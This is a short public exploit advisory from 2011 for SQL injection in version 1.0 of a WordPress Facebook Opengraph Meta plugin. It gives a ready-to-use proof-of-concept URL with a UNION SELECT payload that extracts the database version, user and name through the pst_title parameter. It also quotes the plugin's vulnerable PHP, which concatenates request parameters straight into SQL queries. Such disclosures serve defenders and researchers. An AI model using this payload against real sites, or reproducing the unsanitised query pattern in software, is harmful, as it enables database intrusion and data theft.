WordPress Facebook Opengraph Meta Plugin plugin <= 1.0 - SQL Injection Vulnerability



# Exploit Title: WordPress Facebook Opengraph Meta Plugin plugin <= 1.0 SQL Injection Vulnerability

# Date: 2011-09-03
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/facebook-opengraph-meta-plugin.zip
# Version: 1.0 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/facebook-opengraph-meta-plugin/all_meta.php?pst_title=1') UNION ALL SELECT CONCAT_WS(CHAR(44),version(),current_user(),database()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--%20&page=100&rows=1

---------------
Vulnerable code
---------------
$page = $_GET['page']; // get the requested page
$limit = $_GET['rows']; // get how many rows we want to have into the grid
...
if(isset($_REQUEST["pst_title"]))
    $pst_title = $_REQUEST['pst_title'];
...
if($pst_title!=''){
    $where.= " AND (wposts.post_title LIKE '%$pst_title%'";
    $where.= " OR wpostmeta.meta_value LIKE '%$pst_title%')";
}

$result = $wpdb->get_var("SELECT COUNT(*) AS count FROM $wpdb->postmeta WHERE meta_key = '_OgMeta'");
$count = $result['count'];
if( $count >0 )
{
    $total_pages = ceil($count/$limit);
}
else
{
    $total_pages = 0;
}
if ($page > $total_pages)
    $page=$total_pages; $start = $limit*$page - $limit;
...
$querystr = "
    SELECT wposts.*
    FROM $wpdb->posts wposts, $wpdb->postmeta wpostmeta
    WHERE wposts.ID = wpostmeta.post_id
    AND wpostmeta.meta_key = '_OgMeta'
    AND wposts.post_status = 'publish'
    AND (wposts.post_type = 'post' OR wposts.post_type = 'page')".$where.
    "ORDER BY wposts.post_date DESC
    LIMIT $start , $limit
    ";

$result = $wpdb->get_results($querystr);//, OBJECT);